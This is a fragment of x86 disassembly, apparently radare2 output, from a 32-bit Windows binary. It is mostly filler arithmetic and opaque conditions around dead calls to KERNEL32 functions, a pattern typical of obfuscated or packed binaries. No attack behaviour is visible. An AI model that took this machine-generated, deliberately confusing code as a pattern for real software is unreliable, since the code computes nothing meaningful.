mov dword [ebp + eax*4 - 0x138], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x10020dae
push ebx
push 0x7d19
push 0x3014
lea eax, [ebp - 0x68]
push eax
push 0x710e
call fcn.1002b96a
mov ecx, dword [ebp - 0x6c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
add ecx, 0xffffa98c
add esp, 0x14
mov esi, 0xfffe
cmp eax, ecx
setl dl
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
sub ecx, esi
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ebx, ebx
cmp edx, 0xfffffffa
setg bl
xor ecx, ecx
cmp eax, ebx
setge cl
xor ebx, ebx
mov dword [ebp - 0x48], ecx
test ecx, ecx
jne 0x10020e3c
cmp dword [ebp - 0x48], ebx
jne 0x10020e3c
mov eax, ebx
jmp 0x10020e3f
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0xd47c
setl cl
xor edx, edx
mov dword [ebp - 0x6c], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
add eax, 0x3e8a
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
mov dword [ebp - 4], edx
cmp dword [ebp - 4], ebx
je 0x10020fc8
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x28], 0xc1c926a5
mov dword [ebp - 0x20], ebx
jmp 0x10020eb1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x108], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10020ea4
mov dword [ebp - 0x14], ebx
jmp 0x10020f6e
mov dword [ebp - 0x20], 0x3c25
mov dword [ebp - 4], ebx
jmp 0x10020f5d
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x48], ebx
jne 0x10020f42
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x48], ebx
jne 0x10020f42
cmp dword [ebp - 0xc], ebx
je 0x10020ef4
cmp dword [ebp - 0x18], ebx
je 0x10020ef4
cmp dword [ebp - 0x20], ebx
je 0x10020ef4
xor ecx, ecx
inc ecx
jmp 0x10020ef6
mov ecx, ebx
mov eax, dword [ebp - 0x20]
add eax, 0xffffc861
add ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x104]
add ecx, eax
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 4]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x48]
cmp edx, eax
mov eax, dword [ebp - 0x6c]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 4]
setle dl
mov dword [ebp + eax*4 - 0x48], edx
cmp dword [ebp - 0xc], ebx
jne 0x10020f42
mov eax, ebx
jmp 0x10020f45
xor eax, eax
inc eax
mov edx, dword [ebp - 0x1c]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x134]
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jle 0x10020ece
cmp dword [ebp - 0x20], ebx
jne 0x10020f77
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10020ebf
mov eax, dword [ebp - 0xd4]
push 5
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ebx, ebx
cmp edx, 1
setle bl
xor ecx, ecx
cmp ebx, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
jmp 0x1002100f
mov dword [ebp - 0xa4], 0xffffffff
mov dword [ebp - 8], ebx
jmp 0x1002100a
push 0x1fb1
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.10023c9d
mov byte [ebp - 0xd], bl
add esp, 0x10
cmp byte [ebp - 0xd], 0
je 0x10021007
push ebx
call fcn.10023705
pop ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jle 0x10020fd7
push 0x263a
lea eax, [ebp - 0x70]
push eax
push ebx
call fcn.10023d27
add esp, 0xc
jmp 0x1002042e
push 0xfffffffffffffffc
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x50], 0xfffffffa
push eax
push ebx
lea eax, [ebp - 0x50]
or edi, 0xffffffff
mov dword [ebp - 0x30], edi
push eax
mov dword [ebp - 0x5c], 0xcd4431fa
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x14], 0x9c4ddb84
push 0x259e
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], edi
push eax
call fcn.100240f4
add esp, 0x14
cmp dword [ebp - 0x14], ebx
je 0x100210a5
cmp dword [ebp - 0x5c], ebx
je 0x100210a5
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x50]
cmp ecx, eax
setl dl
cmp edx, dword [ebp - 0x14]
jge 0x1002108a
cmp dword [ebp - 0x30], ebx
je 0x1002108a
xor eax, eax
inc eax
jmp 0x1002108c
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5c]
add eax, ecx
cmp dword [ebp - 0x14], eax
jle 0x100210a5
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x50], ebx
je 0x100210b8
xor eax, eax
inc eax
jmp 0x100210ba
mov eax, ebx
mov dword [ebp - 0x5c], eax
mov ecx, 0xf7673ed1
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x50]
jne 0x100210ea
push ebx
lea eax, [ebp - 0x55]
mov byte [ebp - 0x55], bl
push 0x3627
push eax
call fcn.10023e5a
add esp, 0xc
jmp 0x100212c7
mov dword [ebp - 0x38], 0xae22781
mov dword [ebp - 0x4c], 0x4bab92a1
mov dword [ebp - 0x2c], 0x8797
cmp dword [ebp - 0x30], ebx
je 0x10021109
xor ecx, ecx
inc ecx
jmp 0x1002110b
mov ecx, ebx
mov eax, dword [ebp - 0x38]
imul eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x38], ebx
jne 0x1002112e
cmp dword [ebp - 0x4c], ebx
jne 0x1002112e
mov eax, ebx
jmp 0x10021131
xor eax, eax
inc eax
neg eax
je 0x10021149
lea eax, [ebp - 0x56]
mov byte [ebp - 0x56], bl
push ebx
push eax
call fcn.100236ba
pop ecx
pop ecx
jmp 0x100212c7
mov dword [ebp - 0x64], 0xc717898a
xor edx, edx
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
lea ecx, [edx + 1]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xfffffffd
setg al
xor ecx, ecx
cmp eax, 9
setne cl
cmp ecx, dword [ebp - 0x38]
jg 0x10021232
lea eax, [ebp - 0x64]
mov dword [ebp - 0xa0], 0x8bb1b5b3
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x1c], 0x71ce904c
push eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x4c]
push eax
push ebx
call fcn.10023a98
add esp, 0x14
cmp dword [ebp - 0x64], ebx
jne 0x100211f9
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
imul eax, dword [ebp - 0x64]
cmp eax, 9
setl cl
cmp ecx, edi
jle 0x100211f9
mov esi, ebx
jmp 0x100211fc
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x1c]
xor edx, edx
imul ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp esi, eax
setg cl
sub edx, ecx
cmp edx, dword [ebp - 0x1c]
jg 0x10021228
cmp dword [ebp - 0x1c], ebx
je 0x10021228
xor eax, eax
inc eax
jmp 0x1002122a
mov eax, ebx
mov dword [ebp - 0x1c], eax
jmp 0x100212c7
mov dword [ebp - 0x28], 0x5446388d
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002124a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x18]
imul ecx, eax
mov eax, dword [ebp - 0x4c]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x18]
cmp esi, eax
sbb eax, eax
neg eax
imul eax, eax, 0xcc56
cmp eax, dword [ebp - 0x14]
jne 0x10021286
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
sub esi, edx
sub esi, eax
mov eax, dword [ebp - 0x14]
cmp esi, eax
setg cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0xf94f378
mov dword [ebp - 0x18], 0xffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x28], edi
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x100212f8
push 0x1d73
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x18], 0xfffd
add eax, dword [ebp - 0x18]
je 0x1002130f
cmp dword [ebp - 0x18], ebx
je 0x1002130f
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 8]
neg ebx
neg ebx
sbb ebx, ebx
neg ebx
sub ebx, eax
inc ebx
cmp dword [ebp - 8], ebx
jge 0x10021325
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x2c]
push 0xfffffffffffffff7
pop ecx
cmp ecx, eax
sbb ecx, ecx
xor eax, eax
neg ecx
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
cmp edx, ecx
setl al
add eax, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret